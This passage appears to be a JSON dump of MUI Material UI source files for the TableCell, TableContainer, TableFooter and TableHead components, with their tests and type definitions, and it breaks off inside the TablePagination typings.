component,\n    padding: paddingProp || (table && table.padding ? table.padding : 'normal'),\n    size: sizeProp || (table && table.size ? table.size : 'medium'),\n    sortDirection,\n    stickyHeader: variant === 'head' && table && table.stickyHeader,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  let ariaSort = null;\n  if (sortDirection) {\n    ariaSort = sortDirection === 'asc' ? 'ascending' : 'descending';\n  }\n\n  return (\n    <TableCellRoot\n      as={component}\n      ref={ref}\n      className={clsx(classes.root, className)}\n      aria-sort={ariaSort}\n      scope={scope}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nTableCell.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Set the text-align on the table cell content.\n   *\n   * Monetary or generally number fields **should be right aligned** as that allows\n   * you to add them up quickly in your head without having to worry about decimals.\n   * @default 'inherit'\n   */\n  align: PropTypes.oneOf(['center', 'inherit', 'justify', 'left', 'right']),\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Sets the padding applied to the cell.\n   * The prop defaults to the value (`'default'`) inherited from the parent Table component.\n   */\n  padding: PropTypes.oneOf(['checkbox', 'none', 'normal']),\n  /**\n   * Set scope attribute.\n   */\n  scope: PropTypes.string,\n  /**\n   * Specify the size of the cell.\n   * The prop defaults to the value (`'medium'`) inherited from the parent Table component.\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * Set aria-sort direction.\n   */\n  sortDirection: PropTypes.oneOf(['asc', 'desc', false]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Specify the cell type.\n   * The prop defaults to the value inherited from the parent TableHead, TableBody, or TableFooter components.\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['body', 'footer', 'head']),\n    PropTypes.string,\n  ]),\n};\n\nexport default TableCell;\n"
  },
  {
    "path": "packages/mui-material/src/TableCell/TableCell.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TableCell, { tableCellClasses as classes } from '@mui/material/TableCell';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Table from '@mui/material/Table';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TableCell />', () => {\n  const { render } = createRenderer();\n  function renderInTable(node) {\n    return render(\n      <table>\n        <tbody>\n          <tr>{node}</tr>\n        </tbody>\n      </table>,\n    );\n  }\n\n  describeConformance(<TableCell />, () => ({\n    classes,\n    inheritComponent: 'td',\n    render: (node) => {\n      const { container, ...other } = render(\n        <table>\n          <tbody>\n            <tr>{node}</tr>\n          </tbody>\n        </table>,\n      );\n      return { container: container.firstChild.firstChild.firstChild, ...other };\n    },\n    muiName: 'MuiTableCell',\n    testVariantProps: { variant: 'body' },\n    refInstanceof: window.HTMLTableCellElement,\n    // invalid nesting otherwise\n    testComponentPropWith: 'td',\n  }));\n\n  describe('prop: padding', () => {\n    it(\"doesn't not have a class for padding by default\", () => {\n      const { container } = renderInTable(<TableCell padding=\"normal\" />);\n      expect(container.querySelector('td')).not.to.have.class(classes.paddingNormal);\n    });\n\n    it('has a class when `none`', () => {\n      const { container } = renderInTable(<TableCell padding=\"none\" />);\n      expect(container.querySelector('td')).to.have.class(classes.paddingNone);\n    });\n\n    it('has a class when `checkbox`', () => {\n      const { container } = renderInTable(<TableCell padding=\"checkbox\" />);\n      expect(container.querySelector('td')).to.have.class(classes.paddingCheckbox);\n    });\n  });\n\n  it('has a class when `size=\"small\"`', () => {\n    const { container } = renderInTable(<TableCell size=\"small\" />);\n    expect(container.querySelector('td')).to.have.class(classes.sizeSmall);\n  });\n\n  it('should render children', () => {\n    const children = <p data-testid=\"hello\">Hello</p>;\n    renderInTable(<TableCell>{children}</TableCell>);\n    expect(screen.getByTestId('hello')).not.to.equal(null);\n  });\n\n  it('should render aria-sort=\"ascending\" when prop sortDirection=\"asc\" provided', () => {\n    const { container } = renderInTable(<TableCell sortDirection=\"asc\" />);\n    expect(container.querySelector('td')).to.have.attribute('aria-sort', 'ascending');\n  });\n\n  it('should render aria-sort=\"descending\" when prop sortDirection=\"desc\" provided', () => {\n    const { container } = renderInTable(<TableCell sortDirection=\"desc\" />);\n    expect(container.querySelector('td')).to.have.attribute('aria-sort', 'descending');\n  });\n\n  it('should center content', () => {\n    const { container } = renderInTable(<TableCell align=\"center\" />);\n    expect(container.querySelector('td')).to.have.class(classes.alignCenter);\n  });\n\n  it('should allow the default role (rowheader) to trigger', () => {\n    const { container } = renderInTable(<TableCell component=\"th\" scope=\"row\" />);\n    expect(container.querySelector('th')).not.to.have.attribute('role');\n  });\n\n  it('should not set scope attribute when TableCell is rendered as <td> within table head', () => {\n    const { container } = render(\n      <Table>\n        <TableHead>\n          <TableRow>\n            <TableCell component=\"td\" />\n          </TableRow>\n        </TableHead>\n      </Table>,\n    );\n    expect(container.querySelector('td')).not.to.have.attribute('scope');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TableCell/index.d.ts",
    "content": "export { default } from './TableCell';\nexport * from './TableCell';\n\nexport { default as tableCellClasses } from './tableCellClasses';\nexport * from './tableCellClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableCell/index.js",
    "content": "export { default } from './TableCell';\n\nexport { default as tableCellClasses } from './tableCellClasses';\nexport * from './tableCellClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableCell/tableCellClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TableCellClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"head\"` or `context.table.head`. */\n  head: string;\n  /** Styles applied to the root element if `variant=\"body\"` or `context.table.body`. */\n  body: string;\n  /** Styles applied to the root element if `variant=\"footer\"` or `context.table.footer`. */\n  footer: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"medium\"`. */\n  sizeMedium: string;\n  /** Styles applied to the root element if `padding=\"checkbox\"`. */\n  paddingCheckbox: string;\n  /** Styles applied to the root element if `padding=\"none\"`. */\n  paddingNone: string;\n  /** Styles applied to the root element if `align=\"left\"`. */\n  alignLeft: string;\n  /** Styles applied to the root element if `align=\"center\"`. */\n  alignCenter: string;\n  /** Styles applied to the root element if `align=\"right\"`. */\n  alignRight: string;\n  /** Styles applied to the root element if `align=\"justify\"`. */\n  alignJustify: string;\n  /** Styles applied to the root element if `context.table.stickyHeader={true}`. */\n  stickyHeader: string;\n}\n\nexport type TableCellClassKey = keyof TableCellClasses;\n\nexport function getTableCellUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTableCell', slot);\n}\n\nconst tableCellClasses: TableCellClasses = generateUtilityClasses('MuiTableCell', [\n  'root',\n  'head',\n  'body',\n  'footer',\n  'sizeSmall',\n  'sizeMedium',\n  'paddingCheckbox',\n  'paddingNone',\n  'alignLeft',\n  'alignCenter',\n  'alignRight',\n  'alignJustify',\n  'stickyHeader',\n]);\n\nexport default tableCellClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TableContainer/TableContainer.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { TableContainerClasses } from './tableContainerClasses';\n\nexport interface TableContainerOwnProps {\n  /**\n   * The content of the component, normally `Table`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TableContainerClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface TableContainerTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & TableContainerOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [TableContainer API](https://next.mui.com/material-ui/api/table-container/)\n */\ndeclare const TableContainer: OverridableComponent<TableContainerTypeMap>;\n\nexport type TableContainerProps<\n  RootComponent extends React.ElementType = TableContainerTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TableContainerTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default TableContainer;\n"
  },
  {
    "path": "packages/mui-material/src/TableContainer/TableContainer.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getTableContainerUtilityClass } from './tableContainerClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getTableContainerUtilityClass, classes);\n};\n\nconst TableContainerRoot = styled('div', {\n  name: 'MuiTableContainer',\n  slot: 'Root',\n})({\n  width: '100%',\n  overflowX: 'auto',\n});\n\nconst TableContainer = React.forwardRef(function TableContainer(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTableContainer' });\n  const { className, component = 'div', ...other } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <TableContainerRoot\n      ref={ref}\n      as={component}\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nTableContainer.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally `Table`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TableContainer;\n"
  },
  {
    "path": "packages/mui-material/src/TableContainer/TableContainer.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport TableContainer, { tableContainerClasses as classes } from '@mui/material/TableContainer';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TableContainer />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TableContainer />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiTableContainer',\n    testVariantProps: { variant: 'foo' },\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'span',\n  }));\n});\n"
  },
  {
    "path": "packages/mui-material/src/TableContainer/index.d.ts",
    "content": "export { default } from './TableContainer';\nexport * from './TableContainer';\n\nexport { default as tableContainerClasses } from './tableContainerClasses';\nexport * from './tableContainerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableContainer/index.js",
    "content": "export { default } from './TableContainer';\n\nexport { default as tableContainerClasses } from './tableContainerClasses';\nexport * from './tableContainerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableContainer/tableContainerClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TableContainerClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type TableContainerClassKey = keyof TableContainerClasses;\n\nexport function getTableContainerUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTableContainer', slot);\n}\n\nconst tableContainerClasses: TableContainerClasses = generateUtilityClasses('MuiTableContainer', [\n  'root',\n]);\n\nexport default tableContainerClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TableFooter/TableFooter.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { TableFooterClasses } from './tableFooterClasses';\n\nexport interface TableFooterOwnProps {\n  /**\n   * The content of the component, normally `TableRow`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TableFooterClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface TableFooterTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'tfoot',\n> {\n  props: AdditionalProps & TableFooterOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [TableFooter API](https://next.mui.com/material-ui/api/table-footer/)\n */\ndeclare const TableFooter: OverridableComponent<TableFooterTypeMap>;\n\nexport type TableFooterProps<\n  RootComponent extends React.ElementType = TableFooterTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TableFooterTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default TableFooter;\n"
  },
  {
    "path": "packages/mui-material/src/TableFooter/TableFooter.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Tablelvl2Context from '../Table/Tablelvl2Context';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getTableFooterUtilityClass } from './tableFooterClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getTableFooterUtilityClass, classes);\n};\n\nconst TableFooterRoot = styled('tfoot', {\n  name: 'MuiTableFooter',\n  slot: 'Root',\n})({\n  display: 'table-footer-group',\n});\n\nconst tablelvl2 = {\n  variant: 'footer',\n};\n\nconst defaultComponent = 'tfoot';\n\nconst TableFooter = React.forwardRef(function TableFooter(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTableFooter' });\n  const { className, component = defaultComponent, ...other } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <Tablelvl2Context.Provider value={tablelvl2}>\n      <TableFooterRoot\n        as={component}\n        className={clsx(classes.root, className)}\n        ref={ref}\n        role={component === defaultComponent ? null : 'rowgroup'}\n        ownerState={ownerState}\n        {...other}\n      />\n    </Tablelvl2Context.Provider>\n  );\n});\n\nTableFooter.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally `TableRow`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TableFooter;\n"
  },
  {
    "path": "packages/mui-material/src/TableFooter/TableFooter.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TableFooter, { tableFooterClasses as classes } from '@mui/material/TableFooter';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TableFooter />', () => {\n  const { render } = createRenderer();\n\n  function renderInTable(node) {\n    return render(<table>{node}</table>);\n  }\n\n  describeConformance(<TableFooter />, () => ({\n    classes,\n    inheritComponent: 'tfoot',\n    render: (node) => {\n      const { container, ...other } = render(<table>{node}</table>);\n      return { container: container.firstChild, ...other };\n    },\n    muiName: 'MuiTableFooter',\n    testVariantProps: { variant: 'foo' },\n    refInstanceof: window.HTMLTableSectionElement,\n    testComponentPropWith: 'thead',\n  }));\n\n  it('should render children', () => {\n    const children = <tr data-testid=\"test\" />;\n    renderInTable(<TableFooter>{children}</TableFooter>);\n    screen.getByTestId('test');\n  });\n\n  describe('prop: component', () => {\n    it('can render a different component', () => {\n      const { container } = render(<TableFooter component=\"div\" />);\n      expect(container.firstChild).to.have.property('nodeName', 'DIV');\n    });\n\n    it('sets role=\"rowgroup\"', () => {\n      const { container } = render(<TableFooter component=\"div\" />);\n      expect(container.firstChild).to.have.attribute('role', 'rowgroup');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TableFooter/index.d.ts",
    "content": "export { default } from './TableFooter';\nexport * from './TableFooter';\n\nexport { default as tableFooterClasses } from './tableFooterClasses';\nexport * from './tableFooterClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableFooter/index.js",
    "content": "export { default } from './TableFooter';\n\nexport { default as tableFooterClasses } from './tableFooterClasses';\nexport * from './tableFooterClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableFooter/tableFooterClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TableFooterClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type TableFooterClassKey = keyof TableFooterClasses;\n\nexport function getTableFooterUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTableFooter', slot);\n}\n\nconst tableFooterClasses: TableFooterClasses = generateUtilityClasses('MuiTableFooter', ['root']);\n\nexport default tableFooterClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TableHead/TableHead.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { TableHeadClasses } from './tableHeadClasses';\n\nexport interface TableHeadOwnProps {\n  /**\n   * The content of the component, normally `TableRow`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TableHeadClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface TableHeadTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'thead',\n> {\n  props: AdditionalProps & TableHeadOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [TableHead API](https://next.mui.com/material-ui/api/table-head/)\n */\ndeclare const TableHead: OverridableComponent<TableHeadTypeMap>;\n\nexport type TableHeadProps<\n  RootComponent extends React.ElementType = TableHeadTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TableHeadTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default TableHead;\n"
  },
  {
    "path": "packages/mui-material/src/TableHead/TableHead.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Tablelvl2Context from '../Table/Tablelvl2Context';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getTableHeadUtilityClass } from './tableHeadClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getTableHeadUtilityClass, classes);\n};\n\nconst TableHeadRoot = styled('thead', {\n  name: 'MuiTableHead',\n  slot: 'Root',\n})({\n  display: 'table-header-group',\n});\n\nconst tablelvl2 = {\n  variant: 'head',\n};\n\nconst defaultComponent = 'thead';\n\nconst TableHead = React.forwardRef(function TableHead(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTableHead' });\n  const { className, component = defaultComponent, ...other } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <Tablelvl2Context.Provider value={tablelvl2}>\n      <TableHeadRoot\n        as={component}\n        className={clsx(classes.root, className)}\n        ref={ref}\n        role={component === defaultComponent ? null : 'rowgroup'}\n        ownerState={ownerState}\n        {...other}\n      />\n    </Tablelvl2Context.Provider>\n  );\n});\n\nTableHead.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally `TableRow`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TableHead;\n"
  },
  {
    "path": "packages/mui-material/src/TableHead/TableHead.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TableHead, { tableHeadClasses as classes } from '@mui/material/TableHead';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TableHead />', () => {\n  const { render } = createRenderer();\n  function renderInTable(node) {\n    return render(<table>{node}</table>);\n  }\n\n  describeConformance(<TableHead />, () => ({\n    classes,\n    inheritComponent: 'thead',\n    render: (node) => {\n      const { container, ...other } = render(<table>{node}</table>);\n      return { container: container.firstChild, ...other };\n    },\n    muiName: 'MuiTableHead',\n    testVariantProps: { variant: 'foo' },\n    refInstanceof: window.HTMLTableSectionElement,\n    testComponentPropWith: 'tbody',\n  }));\n\n  it('should render children', () => {\n    const children = <tr data-testid=\"test\" />;\n    renderInTable(<TableHead>{children}</TableHead>);\n    screen.getByTestId('test');\n  });\n\n  describe('prop: component', () => {\n    it('can render a different component', () => {\n      const { container } = render(<TableHead component=\"div\" />);\n      expect(container.firstChild).to.have.property('nodeName', 'DIV');\n    });\n\n    it('sets role=\"rowgroup\"', () => {\n      const { container } = render(<TableHead component=\"div\" />);\n      expect(container.firstChild).to.have.attribute('role', 'rowgroup');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TableHead/index.d.ts",
    "content": "export { default } from './TableHead';\nexport * from './TableHead';\n\nexport { default as tableHeadClasses } from './tableHeadClasses';\nexport * from './tableHeadClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableHead/index.js",
    "content": "export { default } from './TableHead';\n\nexport { default as tableHeadClasses } from './tableHeadClasses';\nexport * from './tableHeadClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableHead/tableHeadClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TableHeadClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type TableHeadClassKey = keyof TableHeadClasses;\n\nexport function getTableHeadUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTableHead', slot);\n}\n\nconst tableHeadClasses: TableHeadClasses = generateUtilityClasses('MuiTableHead', ['root']);\n\nexport default tableHeadClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TablePagination/TablePagination.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport {\n  TablePaginationActionsProps,\n  TablePaginationActionsSlots,\n} from '../TablePaginationActions';\nimport { TableCellProps } from '../TableCell';\nimport { SelectProps } from '../Select';\nimport { TablePaginationClasses } from './tablePaginationClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { ToolbarProps } from '../Toolbar';\nimport { MenuItemProps } from '../MenuItem';\n\nexport interface LabelDisplayedRowsArgs {\n  from: number;\n  to: number;\n  count: number;\n  page: number;\n}\n\nexport interface TablePaginationRootSlotPropsOverrides {}\n\nexport interface TablePaginationToolbarSlotPropsOverrides {}\n\nexport interface TablePaginationSpacerSlotPropsOverrides {}\n\nexport interface TablePaginationSelectLabelSlotPropsOverrides {}\n\nexport interface TablePaginationSelectSlotPropsOverrides {}\n\nexport interface TablePaginationMenuItemSlotPropsOverrides {}\n\nexport interface TablePaginationDisplayedRowsSlotPropsOverrides {}\n\nexport interface TablePaginationActionsSlotPropsOverrides {}\n\nexport interface TablePaginationSlots {\n  /**\n   * The component that renders the root slot.\n   * [Follow this guide](https://mui.com/material-ui/api/table-cell/#props) to learn more about the requirements for this component.\n   * @default TableCell\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the toolbar slot.\n   * [Follow this guide](https://mui.com/material-ui/api/toolbar/#props) to learn more about the requirements for this component.\n   * @default Toolbar\n   */\n  toolbar: React.ElementType;\n  /**\n   * The tag that renders the spacer slot.\n   * @default 'div'\n   */\n  spacer: React.ElementType;\n  /**\n   * The tag that renders the selectLabel slot.\n   * @default 'p'\n   */\n  selectLabel: React.ElementType;\n  /**\n   * The component that renders the select slot.\n   * [Follow this guide](https://mui.com/material-ui/api/select/#props) to learn more about the requirements for this component.\n   * @default Select\n   */\n  select: React.ElementType;\n  /**\n   * The component that renders the select slot.\n   * [Follow this guide](https://mui.com/material-ui/api/menu-item/#props) to learn more about the requirements for this component.\n   * @default MenuItem\n   */\n  menuItem: React.ElementType;\n  /**\n   * The tag that renders the displayedRows slot.\n   * @default 'p'\n   */\n  displayedRows: React.ElementType;\n  /**\n   * The slots that passed to the actions slot.\n   */\n  actions: TablePaginationActionsSlots;\n}\n\nexport type TablePaginationSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  TablePaginationSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [TableCell](https://mui.com/material-ui/api/table-cell/#props) component.\n     */\n    root: SlotProps<\n      React.ElementType<TableCellProps>,\n      TablePaginationRootSlotPropsOverrides,\n      TablePaginationOwnerState\n    >;\n    /**\n     * Props forwarded to the toolbar slot.\n     * By default, the available props are based on the [Toolbar](https://mui.com/material-ui/api/toolbar/#props) component.\n     */\n    toolbar: SlotProps<\n      React.ElementType<ToolbarProps>,\n      TablePaginationToolbarSlotPropsOverrides,\n      TablePaginationOwnerState\n    >;\n    /**\n     * Props forwarded to the spacer slot.\n     * By default, the available props are based on the div element.\n     */\n    spacer: SlotProps<'div', TablePaginationSpacerSlotPropsOverrides, TablePaginationOwnerState>;\n    /**\n     * Props forwarded to the selectLabel slot.\n     * By default, the available props are based on the paragraph element.\n     */\n    selectLabel: SlotProps<\n      'p',\n      TablePaginationSelectLabelSlotPropsOverrides,\n      TablePaginationOwnerState\n    >;\n    /**\n     * Props forwarded to the select slot.\n     * By default, the available props are based on the [Select](https://mui.com/material-ui/api/select/#props) component.\n     */\n    select: Partial<SelectProps> & TablePaginationSelectSlotPropsOverrides;\n    /**\n     * Props forwarded to the menuItem slot.\n     * By default, the available props are based on the [MenuItem](https://mui.com/material-ui/api/menu-item/#props) component.\n     */\n    menuItem: SlotProps<\n      React.ElementType<MenuItemProps>,\n      TablePaginationMenuItemSlotPropsOverrides,\n      TablePaginationOwnerState\n    >;\n    /**\n     * Props forwarded to the displayedRows slot.\n     * By default, the available props are based on the paragraph element.\n     */\n    displayedRows: SlotProps<\n      'p',\n      TablePaginationDisplayedRowsSlotPropsOverrides,\n      TablePaginationOwnerState\n    >;\n    /**\n     * Props forwarded to the actions slot.\n     */\n    actions: TablePaginationActionsProps['slotProps'] & TablePaginationActionsSlotPropsOverrides;\n  }\n>;\n\n/**\n * This type is kept for compatibility. Use `TablePaginationOwnProps` instead.\n */\nexport type TablePaginationBaseProps = Omit<TableCellProps, 'classes' | 'component' | 'children'>;\n\nexport interface TablePaginationOwnProps extends TablePaginationBaseProps {\n  /**\n   * The component used for displaying the actions.\n   * Either a string to use a HTML element or a component.\n   * @default TablePaginationActions\n   */\n  ActionsComponent?: 